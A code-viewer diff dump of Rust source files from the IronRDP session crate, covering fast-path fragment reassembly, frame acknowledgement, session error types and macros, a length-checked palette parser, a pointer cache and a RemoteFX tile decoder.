rfx_handler: rfx::DecodingContext::new(),
|
||||||
|
marker_processor: FrameMarkerProcessor::new(self.user_channel_id, self.io_channel_id, self.share_id),
|
||||||
|
bitmap_stream_decoder: BitmapStreamDecoder::default(),
|
||||||
|
pointer_cache: PointerCache::default(),
|
||||||
|
use_system_pointer: true,
|
||||||
|
mouse_pos_update: None,
|
||||||
|
enable_server_pointer: self.enable_server_pointer,
|
||||||
|
pointer_software_rendering: self.pointer_software_rendering,
|
||||||
|
bulk_decompressor: self.bulk_decompressor,
|
||||||
|
palette: Palette::system_default(),
|
||||||
|
#[cfg(feature = "qoiz")]
|
||||||
|
zdctx: zstd_safe::DCtx::default(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, PartialEq)]
|
||||||
|
struct CompleteData {
|
||||||
|
fragmented_data: Option<Vec<u8>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl CompleteData {
|
||||||
|
fn new() -> Self {
|
||||||
|
Self { fragmented_data: None }
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process_data(&mut self, data: &[u8], fragmentation: Fragmentation) -> Option<Vec<u8>> {
|
||||||
|
match fragmentation {
|
||||||
|
Fragmentation::Single => {
|
||||||
|
self.check_data_is_empty();
|
||||||
|
|
||||||
|
Some(data.to_vec())
|
||||||
|
}
|
||||||
|
Fragmentation::First => {
|
||||||
|
self.check_data_is_empty();
|
||||||
|
|
||||||
|
self.fragmented_data = Some(data.to_vec());
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
Fragmentation::Next => {
|
||||||
|
self.append_data(data);
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
Fragmentation::Last => {
|
||||||
|
self.append_data(data);
|
||||||
|
|
||||||
|
self.fragmented_data.take()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn check_data_is_empty(&mut self) {
|
||||||
|
if self.fragmented_data.is_some() {
|
||||||
|
warn!("Skipping pending Fast-Path Update internal multiple elements data");
|
||||||
|
self.fragmented_data = None;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn append_data(&mut self, data: &[u8]) {
|
||||||
|
if let Some(fragmented_data) = self.fragmented_data.as_mut() {
|
||||||
|
fragmented_data.extend_from_slice(data);
|
||||||
|
} else {
|
||||||
|
warn!("Got unexpected Next fragmentation PDU without prior First fragmentation PDU");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct FrameMarkerProcessor {
|
||||||
|
user_channel_id: u16,
|
||||||
|
io_channel_id: u16,
|
||||||
|
share_id: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl FrameMarkerProcessor {
|
||||||
|
fn new(user_channel_id: u16, io_channel_id: u16, share_id: u32) -> Self {
|
||||||
|
Self {
|
||||||
|
user_channel_id,
|
||||||
|
io_channel_id,
|
||||||
|
share_id,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process(&mut self, marker: &FrameMarkerPdu, output: &mut WriteBuf) -> SessionResult<()> {
|
||||||
|
match marker.frame_action {
|
||||||
|
FrameAction::Begin => Ok(()),
|
||||||
|
FrameAction::End => {
|
||||||
|
ironrdp_pdu::rdp::headers::encode_share_data(
|
||||||
|
self.user_channel_id,
|
||||||
|
self.io_channel_id,
|
||||||
|
self.share_id,
|
||||||
|
ShareDataPdu::FrameAcknowledge(FrameAcknowledgePdu {
|
||||||
|
frame_id: marker.frame_id.unwrap_or(0),
|
||||||
|
}),
|
||||||
|
output,
|
||||||
|
)
|
||||||
|
.map_err(SessionError::encode)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+1038
File diff suppressed because it is too large
Load Diff
+130
@@ -0,0 +1,130 @@
|
|||||||
|
#![cfg_attr(doc, doc = include_str!("../README.md"))]
|
||||||
|
#![doc(html_logo_url = "https://cdnweb.devolutions.net/images/projects/devolutions/logos/devolutions-icon-shadow.svg")]
|
||||||
|
#![allow(clippy::arithmetic_side_effects)] // FIXME: remove
|
||||||
|
|
||||||
|
mod macros;
|
||||||
|
|
||||||
|
pub mod fast_path;
|
||||||
|
pub mod image;
|
||||||
|
pub mod pointer;
|
||||||
|
pub mod rfx; // FIXME: maybe this module should not be in this crate
|
||||||
|
pub mod x224;
|
||||||
|
|
||||||
|
mod active_stage;
|
||||||
|
mod palette;
|
||||||
|
|
||||||
|
use core::fmt;
|
||||||
|
|
||||||
|
pub use active_stage::{ActiveStage, ActiveStageBuilder, ActiveStageOutput, GracefulDisconnectReason};
|
||||||
|
|
||||||
|
pub type SessionResult<T> = Result<T, SessionError>;
|
||||||
|
|
||||||
|
#[non_exhaustive]
|
||||||
|
#[derive(Debug)]
|
||||||
|
pub enum SessionErrorKind {
|
||||||
|
Pdu(ironrdp_pdu::PduError),
|
||||||
|
Encode(ironrdp_core::EncodeError),
|
||||||
|
Decode(ironrdp_core::DecodeError),
|
||||||
|
Reason(String),
|
||||||
|
General,
|
||||||
|
Custom,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl fmt::Display for SessionErrorKind {
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
match &self {
|
||||||
|
SessionErrorKind::Pdu(_) => write!(f, "PDU error"),
|
||||||
|
SessionErrorKind::Encode(_) => write!(f, "encode error"),
|
||||||
|
SessionErrorKind::Decode(_) => write!(f, "decode error"),
|
||||||
|
SessionErrorKind::Reason(description) => write!(f, "reason: {description}"),
|
||||||
|
SessionErrorKind::General => write!(f, "general error"),
|
||||||
|
SessionErrorKind::Custom => write!(f, "custom error"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl core::error::Error for SessionErrorKind {
|
||||||
|
fn source(&self) -> Option<&(dyn core::error::Error + 'static)> {
|
||||||
|
match &self {
|
||||||
|
SessionErrorKind::Pdu(e) => Some(e),
|
||||||
|
SessionErrorKind::Encode(e) => Some(e),
|
||||||
|
SessionErrorKind::Decode(e) => Some(e),
|
||||||
|
SessionErrorKind::Reason(_) => None,
|
||||||
|
SessionErrorKind::General => None,
|
||||||
|
SessionErrorKind::Custom => None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub type SessionError = ironrdp_error::Error<SessionErrorKind>;
|
||||||
|
|
||||||
|
pub trait SessionErrorExt {
|
||||||
|
fn pdu(error: ironrdp_pdu::PduError) -> Self;
|
||||||
|
fn encode(error: ironrdp_core::EncodeError) -> Self;
|
||||||
|
fn decode(error: ironrdp_core::DecodeError) -> Self;
|
||||||
|
fn general(context: &'static str) -> Self;
|
||||||
|
fn reason(context: &'static str, reason: impl Into<String>) -> Self;
|
||||||
|
fn custom<E>(context: &'static str, e: E) -> Self
|
||||||
|
where
|
||||||
|
E: core::error::Error + Sync + Send + 'static;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl SessionErrorExt for SessionError {
|
||||||
|
#[track_caller]
|
||||||
|
fn pdu(error: ironrdp_pdu::PduError) -> Self {
|
||||||
|
Self::new("payload error", SessionErrorKind::Pdu(error))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[track_caller]
|
||||||
|
fn encode(error: ironrdp_core::EncodeError) -> Self {
|
||||||
|
Self::new("encode error", SessionErrorKind::Encode(error))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[track_caller]
|
||||||
|
fn decode(error: ironrdp_core::DecodeError) -> Self {
|
||||||
|
Self::new("decode error", SessionErrorKind::Decode(error))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[track_caller]
|
||||||
|
fn general(context: &'static str) -> Self {
|
||||||
|
Self::new(context, SessionErrorKind::General)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[track_caller]
|
||||||
|
fn reason(context: &'static str, reason: impl Into<String>) -> Self {
|
||||||
|
Self::new(context, SessionErrorKind::Reason(reason.into()))
|
||||||
|
}
|
||||||
|
|
||||||
|
#[track_caller]
|
||||||
|
fn custom<E>(context: &'static str, e: E) -> Self
|
||||||
|
where
|
||||||
|
E: core::error::Error + Sync + Send + 'static,
|
||||||
|
{
|
||||||
|
Self::new(context, SessionErrorKind::Custom).with_source(e)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub trait SessionResultExt {
|
||||||
|
#[must_use]
|
||||||
|
fn with_context(self, context: &'static str) -> Self;
|
||||||
|
#[must_use]
|
||||||
|
fn with_source<E>(self, source: E) -> Self
|
||||||
|
where
|
||||||
|
E: core::error::Error + Sync + Send + 'static;
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<T> SessionResultExt for SessionResult<T> {
|
||||||
|
fn with_context(self, context: &'static str) -> Self {
|
||||||
|
self.map_err(|mut e| {
|
||||||
|
e.set_context(context);
|
||||||
|
e
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn with_source<E>(self, source: E) -> Self
|
||||||
|
where
|
||||||
|
E: core::error::Error + Sync + Send + 'static,
|
||||||
|
{
|
||||||
|
self.map_err(|e| e.with_source(source))
|
||||||
|
}
|
||||||
|
}
|
||||||
+57
@@ -0,0 +1,57 @@
|
|||||||
|
/// Creates a `SessionError` with `General` kind
|
||||||
|
///
|
||||||
|
/// Shorthand for
|
||||||
|
/// ```ignore
|
||||||
|
/// <ironrdp_session::SessionError as ironrdp_session::SessionErrorExt>::general(context)
|
||||||
|
/// ```
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! general_err {
|
||||||
|
( $context:expr $(,)? ) => {{ <$crate::SessionError as $crate::SessionErrorExt>::general($context) }};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Creates a `SessionError` with `Reason` kind
|
||||||
|
///
|
||||||
|
/// Shorthand for
|
||||||
|
/// ```ignore
|
||||||
|
/// <ironrdp_session::SessionError as ironrdp_session::SessionErrorExt>::reason(context, reason)
|
||||||
|
/// ```
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! reason_err {
|
||||||
|
( $context:expr, $($arg:tt)* ) => {{
|
||||||
|
<$crate::SessionError as $crate::SessionErrorExt>::reason($context, format!($($arg)*))
|
||||||
|
}};
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Creates a `SessionError` with `Custom` kind and a source error attached to it
|
||||||
|
///
|
||||||
|
/// Shorthand for
|
||||||
|
/// ```ignore
|
||||||
|
/// <ironrdp_session::SessionError as ironrdp_session::SessionErrorExt>::custom(context, source)
|
||||||
|
/// ```
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! custom_err {
|
||||||
|
( $context:expr, $source:expr $(,)? ) => {{ <$crate::SessionError as $crate::SessionErrorExt>::custom($context, $source) }};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! eof_try {
|
||||||
|
($e:expr) => {
|
||||||
|
match $e {
|
||||||
|
Err(ref e) if e.kind() == io::ErrorKind::UnexpectedEof => {
|
||||||
|
return Ok(None);
|
||||||
|
}
|
||||||
|
result => result,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! try_ready {
|
||||||
|
($e:expr) => {
|
||||||
|
match $e {
|
||||||
|
Ok(Some(v)) => Ok(v),
|
||||||
|
Ok(None) => return Ok(None),
|
||||||
|
Err(e) => Err(e),
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
+89
@@ -0,0 +1,89 @@
|
|||||||
|
use tracing::{debug, warn};
|
||||||
|
|
||||||
|
/// 8bpp color palette (256 RGB entries).
|
||||||
|
///
|
||||||
|
/// Initialized with the default Windows system palette (VGA colors)
|
||||||
|
/// per MS-RDPBCGR 2.2.9.1.1.3.1.1. Updated by TS_UPDATE_PALETTE_DATA
|
||||||
|
/// fast-path updates during the session.
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub(crate) struct Palette {
|
||||||
|
colors: [[u8; 3]; 256],
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Palette {
|
||||||
|
/// Create a palette initialized with the 20 static colors from the
|
||||||
|
/// Windows default system palette. Indices 0-9 and 246-255 are the
|
||||||
|
/// reserved static colors; the middle 236 entries (10-245) are black.
|
||||||
|
///
|
||||||
|
/// Reference: <https://learn.microsoft.com/en-us/windows/win32/gdi/default-palette>
|
||||||
|
pub(crate) fn system_default() -> Self {
|
||||||
|
let mut colors = [[0u8; 3]; 256];
|
||||||
|
// Lower 10 static colors (indices 0-9)
|
||||||
|
colors[0] = [0, 0, 0]; // Black
|
||||||
|
colors[1] = [128, 0, 0]; // Dark Red
|
||||||
|
colors[2] = [0, 128, 0]; // Dark Green
|
||||||
|
colors[3] = [128, 128, 0]; // Dark Yellow
|
||||||
|
colors[4] = [0, 0, 128]; // Dark Blue
|
||||||
|
colors[5] = [128, 0, 128]; // Dark Magenta
|
||||||
|
colors[6] = [0, 128, 128]; // Dark Cyan
|
||||||
|
colors[7] = [192, 192, 192]; // Light Gray
|
||||||
|
colors[8] = [192, 220, 192]; // Money Green
|
||||||
|
colors[9] = [166, 202, 240]; // Sky Blue
|
||||||
|
// Upper 10 static colors (indices 246-255)
|
||||||
|
colors[246] = [255, 251, 240]; // Cream
|
||||||
|
colors[247] = [160, 160, 164]; // Medium Gray
|
||||||
|
colors[248] = [128, 128, 128]; // Dark Gray
|
||||||
|
colors[249] = [255, 0, 0]; // Red
|
||||||
|
colors[250] = [0, 255, 0]; // Green
|
||||||
|
colors[251] = [255, 255, 0]; // Yellow
|
||||||
|
colors[252] = [0, 0, 255]; // Blue
|
||||||
|
colors[253] = [255, 0, 255]; // Magenta
|
||||||
|
colors[254] = [0, 255, 255]; // Cyan
|
||||||
|
colors[255] = [255, 255, 255]; // White
|
||||||
|
Self { colors }
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Parse TS_UPDATE_PALETTE_DATA and update palette entries.
|
||||||
|
/// Wire format: pad(2) + numberColors(u32) + N x TS_COLOR_QUAD [B, G, R, pad].
|
||||||
|
pub(crate) fn process_update(&mut self, data: &[u8]) {
|
||||||
|
if data.len() < 6 {
|
||||||
|
warn!("Palette update too short: {} bytes", data.len());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let raw_count = u32::from_le_bytes([data[2], data[3], data[4], data[5]]);
|
||||||
|
// Palette can have at most 256 entries; clamp before any arithmetic
|
||||||
|
// to prevent overflow on untrusted input
|
||||||
|
let clamped = raw_count.min(256);
|
||||||
|
let number_colors = usize::try_from(clamped).unwrap_or(256);
|
||||||
|
let entry_data = &data[6..];
|
||||||
|
|
||||||
|
let Some(required_len) = number_colors.checked_mul(4) else {
|
||||||
|
warn!("Palette entry count overflow");
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
|
||||||
|
if entry_data.len() < required_len {
|
||||||
|
warn!(
|
||||||
|
"Palette data truncated: expected {} bytes for {} colors, got {}",
|
||||||
|
required_len,
|
||||||
|
number_colors,
|
||||||
|
entry_data.len()
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
for i in 0..number_colors {
|
||||||
|
let offset = i * 4;
|
||||||
|
// TS_COLOR_QUAD: Blue, Green, Red, Pad
|
||||||
|
self.colors[i] = [entry_data[offset + 2], entry_data[offset + 1], entry_data[offset]];
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Updated palette with {} colors", number_colors);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Borrow the underlying color table for bitmap application.
|
||||||
|
pub(crate) fn colors(&self) -> &[[u8; 3]; 256] {
|
||||||
|
&self.colors
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
use std::collections::HashMap;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
|
use ironrdp_graphics::pointer::DecodedPointer;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Default)]
|
||||||
|
pub struct PointerCache {
|
||||||
|
// TODO(@pacancoder) maybe use Vec<Optional<...>> instead?
|
||||||
|
cache: HashMap<usize, Arc<DecodedPointer>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl PointerCache {
|
||||||
|
pub fn insert(&mut self, id: usize, pointer: Arc<DecodedPointer>) -> Option<Arc<DecodedPointer>> {
|
||||||
|
self.cache.insert(id, pointer)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn get(&self, id: usize) -> Option<Arc<DecodedPointer>> {
|
||||||
|
self.cache.get(&id).cloned()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn is_cached(&self, id: usize) -> bool {
|
||||||
|
self.cache.contains_key(&id)
|
||||||
|
}
|
||||||
|
}
|
||||||
+286
@@ -0,0 +1,286 @@
|
|||||||
|
use core::cmp::min;
|
||||||
|
|
||||||
|
use ironrdp_graphics::color_conversion::{self, YCbCrBuffer};
|
||||||
|
use ironrdp_graphics::image_processing::PixelFormat;
|
||||||
|
use ironrdp_graphics::rectangle_processing::Region;
|
||||||
|
use ironrdp_graphics::{dwt, quantization, rlgr, subband_reconstruction};
|
||||||
|
use ironrdp_pdu::codecs::rfx::{self, EntropyAlgorithm, Quant, RfxRectangle, Tile};
|
||||||
|
use ironrdp_pdu::geometry::{InclusiveRectangle, Rectangle as _};
|
||||||
|
use ironrdp_pdu::{Decode as _, ReadCursor, decode_cursor};
|
||||||
|
use tracing::{instrument, trace};
|
||||||
|
|
||||||
|
use crate::image::DecodedImage;
|
||||||
|
use crate::{SessionResult, custom_err, general_err, reason_err};
|
||||||
|
|
||||||
|
const TILE_SIZE: u16 = 64;
|
||||||
|
|
||||||
|
pub type FrameId = u32;
|
||||||
|
|
||||||
|
pub struct DecodingContext {
|
||||||
|
context: rfx::ContextPdu,
|
||||||
|
channels: rfx::ChannelsPdu,
|
||||||
|
decoding_tiles: DecodingTileContext,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Default for DecodingContext {
|
||||||
|
fn default() -> Self {
|
||||||
|
Self {
|
||||||
|
context: rfx::ContextPdu {
|
||||||
|
flags: rfx::OperatingMode::empty(),
|
||||||
|
entropy_algorithm: EntropyAlgorithm::Rlgr1,
|
||||||
|
},
|
||||||
|
channels: rfx::ChannelsPdu(Vec::new()),
|
||||||
|
decoding_tiles: DecodingTileContext::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl DecodingContext {
|
||||||
|
pub fn new() -> Self {
|
||||||
|
Self::default()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn decode(
|
||||||
|
&mut self,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
destination: &InclusiveRectangle,
|
||||||
|
input: &mut ReadCursor<'_>,
|
||||||
|
) -> SessionResult<(FrameId, InclusiveRectangle)> {
|
||||||
|
loop {
|
||||||
|
let block = rfx::Block::decode(input).map_err(|e| custom_err!("decode block", e))?;
|
||||||
|
|
||||||
|
match block {
|
||||||
|
rfx::Block::Sync(_) => {
|
||||||
|
self.process_sync(input)?;
|
||||||
|
}
|
||||||
|
rfx::Block::CodecChannel(rfx::CodecChannel::FrameBegin(f)) => {
|
||||||
|
return self.process_frame(f, input, image, destination);
|
||||||
|
}
|
||||||
|
_ => {
|
||||||
|
return Err(reason_err!(
|
||||||
|
"rfx::DecodingContext",
|
||||||
|
"unexpected RFX block type: {:?}",
|
||||||
|
block.block_type()
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process_sync(&mut self, input: &mut ReadCursor<'_>) -> SessionResult<()> {
|
||||||
|
self.process_headers(input)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn process_headers(&mut self, input: &mut ReadCursor<'_>) -> SessionResult<()> {
|
||||||
|
let mut context = None;
|
||||||
|
let mut channels = None;
|
||||||
|
|
||||||
|
// headers can appear in any order: CodecVersions, Channels, Context
|
||||||
|
for _ in 0..3 {
|
||||||
|
match decode_cursor(input).map_err(|e| custom_err!("decode headers", e))? {
|
||||||
|
rfx::Block::CodecChannel(rfx::CodecChannel::Context(c)) => context = Some(c),
|
||||||
|
rfx::Block::Channels(c) => channels = Some(c),
|
||||||
|
rfx::Block::CodecVersions(_) => (),
|
||||||
|
_ => {
|
||||||
|
return Err(general_err!("unexpected RFX block type"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let context = context.ok_or_else(|| general_err!("context header is missing"))?;
|
||||||
|
let channels = channels.ok_or_else(|| general_err!("channels header is missing"))?;
|
||||||
|
|
||||||
|
if channels.0.is_empty() {
|
||||||
|
return Err(general_err!("no RFX channel announced"));
|
||||||
|
}
|
||||||
|
|
||||||
|
self.context = context;
|
||||||
|
self.channels = channels;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[instrument(skip_all)]
|
||||||
|
fn process_frame(
|
||||||
|
&mut self,
|
||||||
|
frame_begin: rfx::FrameBeginPdu,
|
||||||
|
input: &mut ReadCursor<'_>,
|
||||||
|
image: &mut DecodedImage,
|
||||||
|
destination: &InclusiveRectangle,
|
||||||
|
) -> SessionResult<(FrameId, InclusiveRectangle)> {
|
||||||
|
let channel = self
|
||||||
|
.channels
|
||||||
|
.0
|
||||||
|
.first()
|
||||||
|
.ok_or_else(|| general_err!("no RFX channel found"))?;
|
||||||
|
let width = channel.width.try_into().map_err(|_| general_err!("invalid width"))?;
|
||||||
|
let height = channel.height.try_into().map_err(|_| general_err!("invalid height"))?;
|
||||||
|
let entropy_algorithm = self.context.entropy_algorithm;
|
||||||
|
|
||||||
|
let region: rfx::Block<'_> = decode_cursor(input).map_err(|e| custom_err!("decode region", e))?;
|
||||||
|
let mut region = match region {
|
||||||
|
rfx::Block::CodecChannel(rfx::CodecChannel::Region(region)) => region,
|
||||||
|
_ => return Err(general_err!("unexpected block type")),
|
||||||
|
};
|
||||||
|
let tile_set: rfx::Block<'_> = decode_cursor(input).map_err(|e| custom_err!("decode tile_set", e))?;
|
||||||
|
let tile_set = match tile_set {
|
||||||
|
rfx::Block::CodecChannel(rfx::CodecChannel::TileSet(t)) => t,
|
||||||
|
_ => return Err(general_err!("unexpected block type")),
|
||||||
|
};
|
||||||
|
let frame_end: rfx::Block<'_> = decode_cursor(input).map_err(|e| custom_err!("decode frame_end", e))?;
|
||||||
|
if !matches!(frame_end, rfx::Block::CodecChannel(rfx::CodecChannel::FrameEnd(_))) {
|
||||||
|
return Err(general_err!("unexpected block type"));
|
||||||
|
}
|
||||||
|
|
||||||
|
if region.rectangles.is_empty() {
|
||||||
|
region.rectangles = vec![RfxRectangle {
|
||||||
|
x: 0,
|
||||||
|
y: 0,
|
||||||
|
width,
|
||||||
|
height,
|
||||||
|
}];
|
||||||
|
}
|
||||||
|
let region = region;
|
||||||
|
|
||||||
|
trace!(frame_index = frame_begin.index);
|
||||||
|
trace!(destination_rectangle = ?destination);
|
||||||
|
trace!(context = ?self.context);
|
||||||
|
trace!(channels = ?self.channels);
|
||||||
|
trace!(?region);
|
||||||
|
|
||||||
|
let clipping_rectangles = clipping_rectangles(region.rectangles.as_slice(), destination, width, height);
|
||||||
|
trace!("Clipping rectangles: {:?}", clipping_rectangles);
|
||||||
|
|
||||||
|
let mut final_update_rectangle = clipping_rectangles.extents.clone();
|
||||||
|
|
||||||
|
for (update_rectangle, tile_data) in tiles_to_rectangles(tile_set.tiles.as_slice(), destination)
|
||||||
|
.zip(map_tiles_data(tile_set.tiles.as_slice(), tile_set.quants.as_slice()))
|
||||||
|
{
|
||||||
|
decode_tile(
|
||||||
|
&tile_data,
|
||||||
|
entropy_algorithm,
|
||||||
|
self.decoding_tiles.tile_output.as_mut(),
|
||||||
|
self.decoding_tiles.ycbcr_buffer.as_mut(),
|
||||||
|
self.decoding_tiles.ycbcr_temp_buffer.as_mut(),
|
||||||
|
)?;
|
||||||
|
|
||||||
|
let current_update_rectangle = image.apply_tile(
|
||||||
|
&self.decoding_tiles.tile_output,
|
||||||
|
PixelFormat::RgbA32,
|
||||||
|
&clipping_rectangles,
|
||||||
|
&update_rectangle,
|
||||||
|
)?;
|
||||||
|
|
||||||
|
final_update_rectangle = final_update_rectangle.union(¤t_update_rectangle);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok((frame_begin.index, final_update_rectangle))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
struct DecodingTileContext {
|
||||||
|
tile_output: Vec<u8>,
|
||||||
|
ycbcr_buffer: Vec<Vec<i16>>,
|
||||||
|
ycbcr_temp_buffer: Vec<i16>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl DecodingTileContext {
|
||||||
|
fn new() -> Self {
|
||||||
|
let tile_size = usize::from(TILE_SIZE);
|
||||||
|
Self {
|
||||||
|
tile_output: vec![0; tile_size * tile_size * 4],
|
||||||
|
ycbcr_buffer: vec![vec![0; tile_size * tile_size]; 3],
|
||||||
|
ycbcr_temp_buffer: vec![0; tile_size * tile_size],
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn decode_tile(
|
||||||
|
tile: &TileData<'_>,
|
||||||
|
entropy_algorithm: EntropyAlgorithm,
|
||||||
|
output: &mut [u8],
|
||||||
|
ycbcr_temp: &mut [Vec<i16>],
|
||||||
|
temp: &mut [i16],
|
||||||
|
) -> SessionResult<()> {
|
||||||
|
for ((quant, data), ycbcr_buffer) in tile.quants.iter().zip(tile.data.iter()).zip(ycbcr_temp.iter_mut()) {
|
||||||
|
decode_component(quant, entropy_algorithm, data, ycbcr_buffer.as_mut_slice(), temp)?;
|
||||||
|
}
|
||||||
|
|
||||||
|
let ycbcr_buffer = YCbCrBuffer {
|
||||||
|
y: ycbcr_temp[0].as_slice(),
|
||||||
|
cb: ycbcr_temp[1].as_slice(),
|
||||||
|
cr: ycbcr_temp[2].as_slice(),
|
||||||
|
};
|
||||||
|
|
||||||
|
color_conversion::ycbcr_to_rgba(ycbcr_buffer, output).map_err(|e| custom_err!("decode_tile", e))?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn decode_component(
|
||||||
|
quant: &Quant,
|
||||||
|
entropy_algorithm: EntropyAlgorithm,
|
||||||
|
data: &[u8],
|
||||||
|
output: &mut [i16],
|
||||||
|
temp: &mut [i16],
|
||||||
|
) -> SessionResult<()> {
|
||||||
|
rlgr::decode(entropy_algorithm, data, output).map_err(|e| custom_err!("decode_component", e))?;
|
||||||
|
subband_reconstruction::decode(&mut output[4032..]);
|
||||||
|
quantization::decode(output, quant);
|
||||||
|
dwt::decode(output, temp);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn clipping_rectangles(
|
||||||
|
rectangles: &[RfxRectangle],
|
||||||
|
destination: &InclusiveRectangle,
|
||||||
|
width: u16,
|
||||||
|
height: u16,
|
||||||
|
) -> Region {
|
||||||
|
let mut clipping_rectangles = Region::new();
|
||||||
|
|
||||||
|
rectangles
|
||||||
|
.iter()
|
||||||
|
.map(|r| InclusiveRectangle {
|
||||||
|
left: min(destination.left + r.x, width - 1),
|
||||||
|
top: min(destination.top + r.y, height - 1),
|
||||||
|
right: min(destination.left + r.x + r.width - 1, width - 1),
|
||||||
|
bottom: min(destination.top + r.y + r.height - 1, height - 1),
|
||||||
|
})
|
||||||
|
.for_each(|r| clipping_rectangles.union_rectangle(r));
|
||||||
|
|
||||||
|
clipping_rectangles
|
||||||
|
}
|
||||||
|
|
||||||
|
fn tiles_to_rectangles<'a>(
|
||||||
|
tiles: &'a [Tile<'_>],
|
||||||
|
destination: &'a InclusiveRectangle,
|
||||||
|
) -> impl Iterator<Item = InclusiveRectangle> + 'a {
|
||||||
|
tiles.iter().map(|t| InclusiveRectangle {
|
||||||
|
left: destination.left + t.x * TILE_SIZE,
|
||||||
|
top: destination.top + t.y * TILE_SIZE,
|
||||||
|
right: destination.left + t.x * TILE_SIZE + TILE_SIZE - 1,
|
||||||
|
bottom: destination.top + t.y * TILE_SIZE + TILE_SIZE - 1,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn map_tiles_data<'a>(tiles: &[Tile<'a>], quants: &[Quant]) -> Vec<TileData<'a>> {
|
||||||
|
tiles
|
||||||
|
.iter()
|
||||||
|
.map(|t| TileData {
|
||||||
|
quants: [
|
||||||
|
quants[usize::from(t.y_quant_index)].clone(),
|
||||||
|
quants[usize::from(t.cb_quant_index)].clone(),
|
||||||
|
quants[usize::from(t.cr_quant_index)].clone(),
|
||||||
|
],
|
||||||
|
data: [t.y_data, t.cb_data, t.cr_data],
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
struct TileData<'a> {
|
||||||
|
quants: [Quant; 3],
|
||||||
|
data: [&'a [u8]; 3],
|
||||||
|
}
|
||||||
+290
@@ -0,0 +1,290 @@
|
|||||||
|
use ironrdp_core::{WriteBuf, decode};
|
||||||
|
use ironrdp_dvc::{DrdynvcClient, DvcProcessor, DynamicVirtualChannel};
|
||||||
|
use ironrdp_pdu::mcs::{DisconnectProviderUltimatum, DisconnectReason, McsMessage, SendDataIndicationCtx};
|
||||||
|
use ironrdp_pdu::rdp::autodetect::{AutoDetectReqPdu, AutoDetectRequest, AutoDetectResponse, AutoDetectRspPdu};
|
||||||
|
use ironrdp_pdu::rdp::headers::ShareDataPdu;
|
||||||
|
use ironrdp_pdu::rdp::multitransport::MultitransportRequestPdu;
|
||||||
|
